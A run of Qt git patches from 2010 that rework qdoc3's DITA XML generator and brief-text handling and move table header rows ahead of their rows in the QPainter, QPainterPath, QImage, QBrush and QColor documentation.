tools/qdoc3/text.cpp | 136 ++++++++++++++++++++------------------- tools/qdoc3/text.h | 2 +- 5 files changed, 108 insertions(+), 102 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 27f36ff..668d6ed 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -337,8 +337,6 @@ bool DitaXmlGenerator::inLegaleseText = false; #define APIMAP Doc::alias("apiMap") #define APIITEMREF Doc::alias("apiItemRef") -#define SHORTDESC Doc::alias("shortdesc") - QString DitaXmlGenerator::sinceTitles[] = { " New Namespaces", @@ -677,7 +675,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, CodeMarker *marker) { int skipAhead = 0; - QString hx; + QString hx, str; static bool in_para = false; QString guid, hc; @@ -710,30 +708,20 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, skipAhead = skipAtoms(atom, Atom::BriefRight); break; } - if (inApiDesc || inSection) + if (inApiDesc || inSection) { xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","brief"); + } else { noLinks = true; - xmlWriter().writeStartElement(SHORTDESC); + xmlWriter().writeStartElement("shortdesc"); } if (relative->type() == Node::Property || relative->type() == Node::Variable) { - QString str; - atom = atom->next(); - while (atom != 0 && atom->type() != Atom::BriefRight) { - if (atom->type() == Atom::String || - atom->type() == Atom::AutoLink) - str += atom->string(); - skipAhead++; - atom = atom->next(); - } - str[0] = str[0].toLower(); - if (str.right(1) == ".") - str.truncate(str.length() - 1); xmlWriter().writeCharacters("This "); if (relative->type() == Node::Property) xmlWriter().writeCharacters("property"); - else + else if (relative->type() == Node::Variable) xmlWriter().writeCharacters("variable"); QStringList words = str.split(" "); if (!(words.first() == "contains" || words.first() == "specifies" @@ -742,14 +730,27 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeCharacters(" holds "); else xmlWriter().writeCharacters(" "); + } + if (noLinks) { + atom = atom->next(); + while (atom != 0 && atom->type() != Atom::BriefRight) { + if (atom->type() == Atom::String || + atom->type() == Atom::AutoLink) + str += atom->string(); + skipAhead++; + atom = atom->next(); + } + str[0] = str[0].toLower(); + if (str.right(1) == ".") + str.truncate(str.length() - 1); + str[0] = str[0].toUpper(); xmlWriter().writeCharacters(str + "."); } break; case Atom::BriefRight: - if (relative->type() != Node::Fake) { + if (relative->type() != Node::Fake) xmlWriter().writeEndElement(); // or

    - noLinks = false; - } + noLinks = false; break; case Atom::C: xmlWriter().writeStartElement(formattingLeftMap()[ATOM_FORMATTING_TELETYPE]); @@ -1141,8 +1142,13 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, .arg(marker->plainFullName(relative))); } #if 0 - else - qDebug() << "MYLINK:" << myLink << outFileName();; + else if (noLinks) { + //xmlWriter().writeCharacters(atom->string()); + qDebug() << "MYLINK:" << myLink << outFileName() << atom->string(); + } + else { + beginLink(myLink, node, relative, marker); + } #endif beginLink(myLink, node, relative, marker); skipAhead = 1; @@ -1556,7 +1562,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeStartElement(APIDESC); xmlWriter().writeAttribute("spectitle",title); - Text brief = nsn->doc().briefText(); + Text brief = nsn->doc().briefText(); // zzz if (!brief.isEmpty()) { xmlWriter().writeStartElement("p"); generateText(brief, nsn, marker); @@ -1713,7 +1719,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeStartElement(APIDESC); xmlWriter().writeAttribute("spectitle",title); - Text brief = cn->doc().briefText(); + Text brief = cn->doc().briefText(); // zzz if (!brief.isEmpty()) { xmlWriter().writeStartElement("p"); generateText(brief, cn, marker); @@ -2107,7 +2113,7 @@ void DitaXmlGenerator::generateHeader(const Node* node, dtd = "dtd/cxxClass.dtd"; version = "0.6.0"; doctype = ""; outputclass = "namespace"; } @@ -2160,13 +2166,9 @@ void DitaXmlGenerator::generateTitle(const QString& title, */ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) { - Text brief = node->doc().briefText(); + Text brief = node->doc().briefText(true); // zzz if (!brief.isEmpty()) { - noLinks = true; - xmlWriter().writeStartElement(SHORTDESC); generateText(brief, node, marker); - xmlWriter().writeEndElement(); // - noLinks = false; } } @@ -2613,7 +2615,7 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, else { xmlWriter().writeStartElement("entry"); xmlWriter().writeStartElement("p"); - xmlWriter().writeCharacters(protectEnc(node->doc().briefText().toString())); + xmlWriter().writeCharacters(protectEnc(node->doc().briefText().toString())); // zzz xmlWriter().writeEndElement(); //

    xmlWriter().writeEndElement(); // } diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 280f055..5adb282 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -2621,9 +2621,9 @@ const Text& Doc::body() const return priv == 0 ? dummy : priv->text; } -Text Doc::briefText() const +Text Doc::briefText(bool inclusive) const { - return body().subText(Atom::BriefLeft, Atom::BriefRight); + return body().subText(Atom::BriefLeft, Atom::BriefRight, 0, inclusive); } Text Doc::trimmedBriefText(const QString &className) const diff --git a/tools/qdoc3/doc.h b/tools/qdoc3/doc.h index 3e76456..cf93151 100644 --- a/tools/qdoc3/doc.h +++ b/tools/qdoc3/doc.h @@ -100,7 +100,7 @@ class Doc bool isEmpty() const; const QString& source() const; const Text& body() const; - Text briefText() const; + Text briefText(bool inclusive = false) const; Text trimmedBriefText(const QString &className) const; Text legaleseText() const; const QString& baseName() const; diff --git a/tools/qdoc3/text.cpp b/tools/qdoc3/text.cpp index 11d7edd..ecec5eb 100644 --- a/tools/qdoc3/text.cpp +++ b/tools/qdoc3/text.cpp @@ -60,10 +60,10 @@ Text::Text(const QString &str) operator<<(str); } -Text::Text( const Text& text ) +Text::Text(const Text& text) : first(0), last(0) { - operator=( text ); + operator=(text); } Text::~Text() @@ -71,41 +71,41 @@ Text::~Text() clear(); } -Text& Text::operator=( const Text& text ) +Text& Text::operator=(const Text& text) { - if ( this != &text ) { + if (this != &text) { clear(); - operator<<( text ); + operator<<(text); } return *this; } -Text& Text::operator<<( Atom::Type atomType ) +Text& Text::operator<<(Atom::Type atomType) { - return operator<<( Atom(atomType) ); + return operator<<(Atom(atomType)); } -Text& Text::operator<<( const QString& string ) +Text& Text::operator<<(const QString& string) { - return operator<<( Atom(Atom::String, string) ); + return operator<<(Atom(Atom::String, string)); } -Text& Text::operator<<( const Atom& atom ) +Text& Text::operator<<(const Atom& atom) { - if ( first == 0 ) { - first = new Atom( atom.type(), atom.string() ); + if (first == 0) { + first = new Atom(atom.type(), atom.string()); last = first; } else { - last = new Atom( last, atom.type(), atom.string() ); + last = new Atom(last, atom.type(), atom.string()); } return *this; } -Text& Text::operator<<( const Text& text ) +Text& Text::operator<<(const Text& text) { - const Atom *atom = text.firstAtom(); - while ( atom != 0 ) { - operator<<( *atom ); + const Atom* atom = text.firstAtom(); + while (atom != 0) { + operator<<(*atom); atom = atom->next(); } return *this; @@ -113,10 +113,10 @@ Text& Text::operator<<( const Text& text ) void Text::stripFirstAtom() { - if ( first != 0 ) { - if ( first == last ) + if (first != 0) { + if (first == last) last = 0; - Atom *oldFirst = first; + Atom* oldFirst = first; first = first->next(); delete oldFirst; } @@ -124,16 +124,16 @@ void Text::stripFirstAtom() void Text::stripLastAtom() { - if ( last != 0 ) { - Atom *oldLast = last; - if ( first == last ) { + if (last != 0) { + Atom* oldLast = last; + if (first == last) { first = 0; last = 0; } else { last = first; - while ( last->next() != oldLast ) + while (last->next() != oldLast) last = last->next(); - last->setNext( 0 ); + last->setNext(0); } delete oldLast; } @@ -142,9 +142,9 @@ void Text::stripLastAtom() QString Text::toString() const { QString str; - const Atom *atom = firstAtom(); - while ( atom != 0 ) { - if ( atom->type() == Atom::String || + const Atom* atom = firstAtom(); + while (atom != 0) { + if (atom->type() == Atom::String || atom->type() == Atom::AutoLink || atom->type() == Atom::GuidLink) str += atom->string(); @@ -153,50 +153,54 @@ QString Text::toString() const return str; } -Text Text::subText( Atom::Type left, Atom::Type right, const Atom *from ) const +Text Text::subText(Atom::Type left, Atom::Type right, const Atom* from, bool inclusive) const { - const Atom *begin = from ? from : firstAtom(); - const Atom *end; + const Atom* begin = from ? from : firstAtom(); + const Atom* end; - while ( begin != 0 && begin->type() != left ) - begin = begin->next(); - if ( begin != 0 ) + while (begin != 0 && begin->type() != left) begin = begin->next(); + if (begin != 0) { + if (!inclusive) + begin = begin->next(); + } end = begin; - while ( end != 0 && end->type() != right ) + while (end != 0 && end->type() != right) end = end->next(); - if ( end == 0 ) + if (end == 0) begin = 0; - return subText( begin, end ); + else if (inclusive) + end = end->next(); + return subText(begin, end); } -Text Text::sectionHeading(const Atom *sectionLeft) +Text Text::sectionHeading(const Atom* sectionLeft) { - if ( sectionLeft != 0 ) { - const Atom *begin = sectionLeft; - while ( begin != 0 && begin->type() != Atom::SectionHeadingLeft ) + if (sectionLeft != 0) { + const Atom* begin = sectionLeft; + while (begin != 0 && begin->type() != Atom::SectionHeadingLeft) begin = begin->next(); - if ( begin != 0 ) + if (begin != 0) begin = begin->next(); - const Atom *end = begin; - while ( end != 0 && end->type() != Atom::SectionHeadingRight ) + const Atom* end = begin; + while (end != 0 && end->type() != Atom::SectionHeadingRight) end = end->next(); - if ( end != 0 ) - return subText( begin, end ); + if (end != 0) + return subText(begin, end); } return Text(); } -const Atom *Text::sectionHeadingAtom(const Atom *sectionLeft) +const Atom* Text::sectionHeadingAtom(const Atom* sectionLeft) { - if ( sectionLeft != 0 ) { - const Atom *begin = sectionLeft; - while ( begin != 0 && begin->type() != Atom::SectionHeadingLeft ) + if (sectionLeft != 0) { + const Atom* begin = sectionLeft; + while (begin != 0 && begin->type() != Atom::SectionHeadingLeft) begin = begin->next(); - if ( begin != 0 ) + if (begin != 0) begin = begin->next(); return begin; @@ -206,25 +210,25 @@ const Atom *Text::sectionHeadingAtom(const Atom *sectionLeft) void Text::dump() const { - const Atom *atom = firstAtom(); - while ( atom != 0 ) { + const Atom* atom = firstAtom(); + while (atom != 0) { QString str = atom->string(); - str.replace( "\\", "\\\\" ); - str.replace( "\"", "\\\"" ); - str.replace( "\n", "\\n" ); - str.replace( QRegExp("[^\x20-\x7e]"), "?" ); - if ( !str.isEmpty() ) + str.replace("\\", "\\\\"); + str.replace("\"", "\\\""); + str.replace("\n", "\\n"); + str.replace(QRegExp("[^\x20-\x7e]"), "?"); + if (!str.isEmpty()) str = " \"" + str + "\""; - fprintf(stderr, " %-15s%s\n", atom->typeString().toLatin1().data(), str.toLatin1().data() ); + fprintf(stderr, " %-15s%s\n", atom->typeString().toLatin1().data(), str.toLatin1().data()); atom = atom->next(); } } -Text Text::subText( const Atom *begin, const Atom *end ) +Text Text::subText(const Atom* begin, const Atom* end) { Text text; - if ( begin != 0 ) { - while ( begin != end ) { + if (begin != 0) { + while (begin != end) { text << *begin; begin = begin->next(); } @@ -234,8 +238,8 @@ Text Text::subText( const Atom *begin, const Atom *end ) void Text::clear() { - while ( first != 0 ) { - Atom *atom = first; + while (first != 0) { + Atom* atom = first; first = first->next(); delete atom; } @@ -250,8 +254,8 @@ int Text::compare(const Text &text1, const Text &text2) if (text2.isEmpty()) return 1; - const Atom *atom1 = text1.firstAtom(); - const Atom *atom2 = text2.firstAtom(); + const Atom* atom1 = text1.firstAtom(); + const Atom* atom2 = text2.firstAtom(); for (;;) { if (atom1->type() != atom2->type()) diff --git a/tools/qdoc3/text.h b/tools/qdoc3/text.h index 879f6da..93428ed 100644 --- a/tools/qdoc3/text.h +++ b/tools/qdoc3/text.h @@ -73,7 +73,7 @@ class Text QString toString() const; const Atom *firstAtom() const { return first; } const Atom *lastAtom() const { return last; } - Text subText(Atom::Type left, Atom::Type right, const Atom *from = 0) const; + Text subText(Atom::Type left, Atom::Type right, const Atom *from = 0, bool inclusive = false) const; void dump() const; void clear(); -- cgit v0.12 From 2ec8af79c81caf960c54913d0a57c89b74606b34 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 20 Oct 2010 13:40:49 +0200 Subject: qdoc: Fixed some DITA XML validation errors. --- tools/qdoc3/ditaxmlgenerator.cpp | 22 ++++++++++++++++++---- 1 file changed, 18 insertions(+), 4 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 668d6ed..062a023 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1403,6 +1403,19 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, tableColumnCount = 0; break; case Atom::TableHeaderLeft: + if (inTableBody) { + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + inTableHeader = false; + inTableBody = false; + tableColumnCount = 0; + xmlWriter().writeStartElement("table"); + numTableRows = 0; + tableColumnCount = countTableColumns(atom); + xmlWriter().writeStartElement("tgroup"); + xmlWriter().writeAttribute("cols",QString::number(tableColumnCount)); + } xmlWriter().writeStartElement("thead"); xmlWriter().writeAttribute("valign","top"); xmlWriter().writeStartElement("row"); @@ -1446,8 +1459,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, QString s = "span(" + spans[0] + "," + spans[1] + ")"; xmlWriter().writeAttribute("outputclass",s); } - if (!inTableHeader) - xmlWriter().writeStartElement("p"); } if (matchAhead(atom, Atom::ParaLeft)) skipAhead = 1; @@ -1457,7 +1468,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (inTableHeader) xmlWriter().writeEndElement(); // else { - xmlWriter().writeEndElement(); //

    xmlWriter().writeEndElement(); // } if (matchAhead(atom, Atom::ParaLeft)) @@ -1493,10 +1503,14 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } break; case Atom::Target: + if (in_para) { + xmlWriter().writeEndElement(); //

    + in_para = false; + } xmlWriter().writeStartElement("p"); writeGuidAttribute(Doc::canonicalTitle(atom->string())); xmlWriter().writeAttribute("outputclass","target"); - xmlWriter().writeCharacters(protectEnc(atom->string())); + //xmlWriter().writeCharacters(protectEnc(atom->string())); xmlWriter().writeEndElement(); //

    break; case Atom::UnhandledFormat: -- cgit v0.12 From 0df0141ac041fdd65564908f233c29da0fd5c067 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 20 Oct 2010 14:02:22 +0200 Subject: doc: Moved some table headers to be before the rows. --- src/gui/painting/qpainter.cpp | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/src/gui/painting/qpainter.cpp b/src/gui/painting/qpainter.cpp index 7fed7e4..9afb62f 100644 --- a/src/gui/painting/qpainter.cpp +++ b/src/gui/painting/qpainter.cpp @@ -1113,14 +1113,14 @@ void QPainterPrivate::updateState(QPainterState *newState) the range of available patterns. \table - \row - \o \inlineimage qpainter-vectordeformation.png - \o \inlineimage qpainter-gradients.png - \o \inlineimage qpainter-pathstroking.png \header \o \l {demos/deform}{Vector Deformation} \o \l {demos/gradients}{Gradients} \o \l {demos/pathstroke}{Path Stroking} + \row + \o \inlineimage qpainter-vectordeformation.png + \o \inlineimage qpainter-gradients.png + \o \inlineimage qpainter-pathstroking.png \endtable @@ -1193,13 +1193,13 @@ void QPainterPrivate::updateState(QPainterState *newState) coordinate transformations. \table + \header + \o nop \o rotate() \o scale() \o translate() \row \o \inlineimage qpainter-clock.png \o \inlineimage qpainter-rotation.png \o \inlineimage qpainter-scale.png \o \inlineimage qpainter-translation.png - \header - \o nop \o rotate() \o scale() \o translate() \endtable The most commonly used transformations are scaling, rotation, -- cgit v0.12 From 4f91ec092e62f03cc68cde4d6a070d3caa8c657d Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 20 Oct 2010 14:42:43 +0200 Subject: doc: Moved some table headers before the rows. --- src/gui/painting/qpainterpath.cpp | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/src/gui/painting/qpainterpath.cpp b/src/gui/painting/qpainterpath.cpp index ffd0d5c..d96c9b7 100644 --- a/src/gui/painting/qpainterpath.cpp +++ b/src/gui/painting/qpainterpath.cpp @@ -240,12 +240,12 @@ static void qt_debug_path(const QPainterPath &path) provides two methods for filling paths: \table - \row - \o \inlineimage qt-fillrule-oddeven.png - \o \inlineimage qt-fillrule-winding.png \header \o Qt::OddEvenFill \o Qt::WindingFill + \row + \o \inlineimage qt-fillrule-oddeven.png + \o \inlineimage qt-fillrule-winding.png \endtable See the Qt::FillRule documentation for the definition of the @@ -315,12 +315,12 @@ static void qt_debug_path(const QPainterPath &path) QPainterPath to draw text. \table - \row - \o \inlineimage qpainterpath-example.png - \o \inlineimage qpainterpath-demo.png \header \o \l {painting/painterpaths}{Painter Paths Example} \o \l {demos/deform}{Vector Deformation Demo} + \row + \o \inlineimage qpainterpath-example.png + \o \inlineimage qpainterpath-demo.png \endtable \sa QPainterPathStroker, QPainter, QRegion, {Painter Paths Example} @@ -1244,12 +1244,12 @@ Qt::FillRule QPainterPath::fillRule() const fillRule. Qt provides two methods for filling paths: \table - \row - \o \inlineimage qt-fillrule-oddeven.png - \o \inlineimage qt-fillrule-winding.png \header \o Qt::OddEvenFill (default) \o Qt::WindingFill + \row + \o \inlineimage qt-fillrule-oddeven.png + \o \inlineimage qt-fillrule-winding.png \endtable \sa fillRule() -- cgit v0.12 From e3d8c3b9ca03a90be0b5032f195acfb4d0ce7bb4 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 20 Oct 2010 14:43:18 +0200 Subject: qdoc: Fixed some DITA XML validation errors. --- tools/qdoc3/ditaxmlgenerator.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 062a023..2d719cf 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1333,6 +1333,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); // break; case Atom::RawString: + qDebug() << "RAW:" << atom->string(); xmlWriter().writeCharacters(atom->string()); break; case Atom::SectionLeft: @@ -2597,6 +2598,8 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, CodeMarker* marker, const NodeMap& nodeMap) { + if (nodeMap.isEmpty()) + return; xmlWriter().writeStartElement("table"); xmlWriter().writeAttribute("outputclass","annotated"); xmlWriter().writeStartElement("tgroup"); -- cgit v0.12 From 1a0394398bbb7bb03356a5b06582f99d412366f6 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 20 Oct 2010 14:49:54 +0200 Subject: qdoc: Fixed some DITA XML validation errors. --- tools/qdoc3/ditaxmlgenerator.cpp | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 2d719cf..2e5652c 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1094,11 +1094,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (atom->next() != 0) text = atom->next()->string(); if (fileName.isEmpty()) { - xmlWriter().writeStartElement("font"); - xmlWriter().writeAttribute("color","red"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","error"); xmlWriter().writeCharacters("[Missing image: "); xmlWriter().writeCharacters(protectEnc(atom->string())); - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //

    } else { xmlWriter().writeStartElement("fig"); @@ -1333,7 +1333,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); // break; case Atom::RawString: - qDebug() << "RAW:" << atom->string(); xmlWriter().writeCharacters(atom->string()); break; case Atom::SectionLeft: -- cgit v0.12 From b55cb6f7801dadc2b442589d9584f8946ac00a52 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 22 Oct 2010 13:48:21 +0200 Subject: doc: Moved some table headers ahead of the rows. --- src/gui/image/qimage.cpp | 8 ++++---- src/gui/painting/qbrush.cpp | 8 ++++---- src/gui/painting/qcolor.cpp | 4 ++-- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/src/gui/image/qimage.cpp b/src/gui/image/qimage.cpp index 1157b93..2bb0897 100644 --- a/src/gui/image/qimage.cpp +++ b/src/gui/image/qimage.cpp @@ -513,12 +513,12 @@ bool QImageData::checkForAlphaPixels() const function. For example: \table + \header + \o {2,1}32-bit \row \o \inlineimage qimage-32bit_scaled.png \o \snippet doc/src/snippets/code/src_gui_image_qimage.cpp 0 - \header - \o {2,1}32-bit \endtable In case of a 8-bit and monchrome images, the pixel value is only @@ -534,12 +534,12 @@ bool QImageData::checkForAlphaPixels() const example: \table + \header + \o {2,1} 8-bit \row \o \inlineimage qimage-8bit_scaled.png \o \snippet doc/src/snippets/code/src_gui_image_qimage.cpp 1 - \header - \o {2,1} 8-bit \endtable QImage also provide the scanLine() function which returns a diff --git a/src/gui/painting/qbrush.cpp b/src/gui/painting/qbrush.cpp index d0788c7..55e5ca4 100644 --- a/src/gui/painting/qbrush.cpp +++ b/src/gui/painting/qbrush.cpp @@ -1208,14 +1208,14 @@ QDataStream &operator>>(QDataStream &s, QBrush &b) Each of the types is represented by a subclass of QGradient: \table - \row - \o \inlineimage qgradient-linear.png - \o \inlineimage qgradient-radial.png - \o \inlineimage qgradient-conical.png \header \o QLinearGradient \o QRadialGradient \o QConicalGradient + \row + \o \inlineimage qgradient-linear.png + \o \inlineimage qgradient-radial.png + \o \inlineimage qgradient-conical.png \endtable The colors in a gradient are defined using stop points of the diff --git a/src/gui/painting/qcolor.cpp b/src/gui/painting/qcolor.cpp index 37d7fa3..b2ce69c 100644 --- a/src/gui/painting/qcolor.cpp +++ b/src/gui/painting/qcolor.cpp @@ -78,12 +78,12 @@ QT_BEGIN_NAMESPACE names. \table + \header + \o RGB \o HSV \o CMYK \row \o \inlineimage qcolor-rgb.png \o \inlineimage qcolor-hsv.png \o \inlineimage qcolor-cmyk.png - \header - \o RGB \o HSV \o CMYK \endtable The QColor constructor creates the color based on RGB values. To -- cgit v0.12 From b8ea919c8b77ef6b6e980dda12e9e907ab39653c Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 22 Oct 2010 13:49:27 +0200 Subject: qdoc: Output the \headerfile as a . --- tools/qdoc3/ditaxmlgenerator.cpp | 455 +++++++++++++++++++++++++-------------- tools/qdoc3/ditaxmlgenerator.h | 1 + 2 files changed, 299 insertions(+), 157 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 2e5652c..42fa40a 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -286,57 +286,6 @@ bool DitaXmlGenerator::inLegaleseText = false; #define CXXVARIABLESTORAGECLASSSPECIFIERSTATIC Doc::alias("cxxVariableStorageClassSpecifierStatic") #define CXXVARIABLEVOLATILE Doc::alias("cxxVariableVolatile") -#define APIREF Doc::alias("apiRef") -#define APINAME Doc::alias("apiName") -#define APIDETAIL Doc::alias("apiDetail") -#define APISYNTAX Doc::alias("apiSyntax") -#define APISYNTAXTEXT Doc::alias("apiSyntaxText") -#define APISYNTAXITEM Doc::alias("apiSyntaxItem") -#define APIDEF Doc::alias("apiDef") -#define APIQUALIFIER Doc::alias("apiQualifier") -#define APIRELATION Doc::alias("apiRelation") -#define APITYPE Doc::alias("apiType") -#define APIARRAY Doc::alias("apiArray") -#define APIDATA Doc::alias("apiData") -#define APIDEFNOTE Doc::alias("apiDefNote") -#define APIDEFITEM Doc::alias("apiDefItem") -#define APIITEMNAME Doc::alias("apiItemName") -#define APIDESC Doc::alias("apiDesc") -#define APIIMPL Doc::alias("apiImpl") - -#define APIPACKAGE Doc::alias("apiPackage") - -#define APICLASSIFIER Doc::alias("apiClassifier") -#define APICLASSIFIERDETAIL Doc::alias("apiClassifierDetail") -#define APICLASSIFIERDEF Doc::alias("apiClassifierDef") -#define APICLASSIFIERMEMBER Doc::alias("apiClassifierMember") -#define APIOTHERCLASSIFIER Doc::alias("apiOtherClassifier") -#define APIBASECLASSIFIER Doc::alias("apiBaseClassifier") - -#define APIOPERATION Doc::alias("apiOperation") -#define APIOPERATIONDETAIL Doc::alias("apiOperationDetail") -#define APIOPERATIONDEF Doc::alias("apiOperationDef") -#define APIRETURN Doc::alias("apiReturn") -#define APIPARAM Doc::alias("apiParam") -#define APIEVENT Doc::alias("apiEvent") -#define APIOPERATIONDEFITEM Doc::alias("apiOperationDefItem") -#define APIOPERATIONCLASSIFIER Doc::alias("apiOperationClassifier") -#define APICONSTRUCTORDEF Doc::alias("apiConstructorDef") - -#define APIVALUE Doc::alias("apiValue") -#define APIVALUEDETAIL Doc::alias("apiValueDetail") -#define APIVALUEDEF Doc::alias("apiValueDef") -#define APIVALUEMEMBER Doc::alias("apiValueMember") -#define APIVALUECLASSIFIER Doc::alias("apiValueClassifier") - -#define APIclassifier Doc::alias("apiclassifier") -#define APIoperation Doc::alias("apioperation") -#define APIpackage Doc::alias("apipackage") -#define APIvalue Doc::alias("apivalue") - -#define APIMAP Doc::alias("apiMap") -#define APIITEMREF Doc::alias("apiItemRef") - QString DitaXmlGenerator::sinceTitles[] = { " New Namespaces", @@ -1094,11 +1043,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (atom->next() != 0) text = atom->next()->string(); if (fileName.isEmpty()) { - xmlWriter().writeStartElement("p"); + xmlWriter().writeStartElement("b"); xmlWriter().writeAttribute("outputclass","error"); xmlWriter().writeCharacters("[Missing image: "); xmlWriter().writeCharacters(protectEnc(atom->string())); - xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); // } else { xmlWriter().writeStartElement("fig"); @@ -1515,7 +1464,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::UnhandledFormat: xmlWriter().writeStartElement("b"); - xmlWriter().writeAttribute("outputclass","redFont"); + xmlWriter().writeAttribute("outputclass","error"); xmlWriter().writeCharacters("<Missing DITAXML>"); xmlWriter().writeEndElement(); // break; @@ -1546,14 +1495,11 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark { QList
    ::ConstIterator s; - const ClassNode* cn = 0; - const NamespaceNode* nsn = 0; - QString title; QString rawTitle; QString fullTitle; if (inner->type() == Node::Namespace) { - nsn = const_cast(static_cast(inner)); + const NamespaceNode* nsn = const_cast(static_cast(inner)); rawTitle = marker->plainName(inner); fullTitle = marker->plainFullName(inner); title = rawTitle + " Namespace"; @@ -1574,7 +1520,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark writeLocation(nsn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); + xmlWriter().writeStartElement("apiDesc"); xmlWriter().writeAttribute("spectitle",title); Text brief = nsn->doc().briefText(); // zzz if (!brief.isEmpty()) { @@ -1586,29 +1532,6 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark generateStatus(nsn, marker); generateThreadSafeness(nsn, marker); generateSince(nsn, marker); - - xmlWriter().writeStartElement("ul"); - - QString membersLink = generateListOfAllMemberFile(inner, marker); - if (!membersLink.isEmpty()) { - writeXrefListItem(membersLink,"List of all members, including inherited members"); - } - - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - if (!obsoleteLink.isEmpty()) { - writeXrefListItem(obsoleteLink,"Obsolete members"); - } - - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!compatLink.isEmpty()) { - writeXrefListItem(compatLink,"Qt 3 support members"); - } - - xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // bool needOtherSection = false; @@ -1700,10 +1623,31 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } ++s; } +#if 0 + QString membersLink = generateListOfAllMemberFile(inner, marker); + QString obsoleteLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Obsolete); + QString compatLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Compat); + if (!membersLink.isEmpty() || + !obsoleteLink.isEmpty() || + !compatLink.isEmpty()) { + xmlWriter().writeStartElement("ul"); + if (!membersLink.isEmpty()) + writeXrefListItem(membersLink,"List of all members, including inherited members"); + if (!obsoleteLink.isEmpty()) + writeXrefListItem(obsoleteLink,"Obsolete members"); + if (!compatLink.isEmpty()) + writeXrefListItem(compatLink,"Qt 3 support members"); + xmlWriter().writeEndElement(); // + } +#endif xmlWriter().writeEndElement(); // } else if (inner->type() == Node::Class) { - cn = const_cast(static_cast(inner)); + const ClassNode* cn = const_cast(static_cast(inner)); rawTitle = marker->plainName(inner); fullTitle = marker->plainFullName(inner); title = rawTitle + " Class Reference"; @@ -1731,7 +1675,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark writeLocation(cn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); + xmlWriter().writeStartElement("apiDesc"); xmlWriter().writeAttribute("spectitle",title); Text brief = cn->doc().briefText(); // zzz if (!brief.isEmpty()) { @@ -1745,29 +1689,6 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark generateInheritedBy(cn, marker); generateThreadSafeness(cn, marker); generateSince(cn, marker); - - xmlWriter().writeStartElement("ul"); - - QString membersLink = generateListOfAllMemberFile(inner, marker); - if 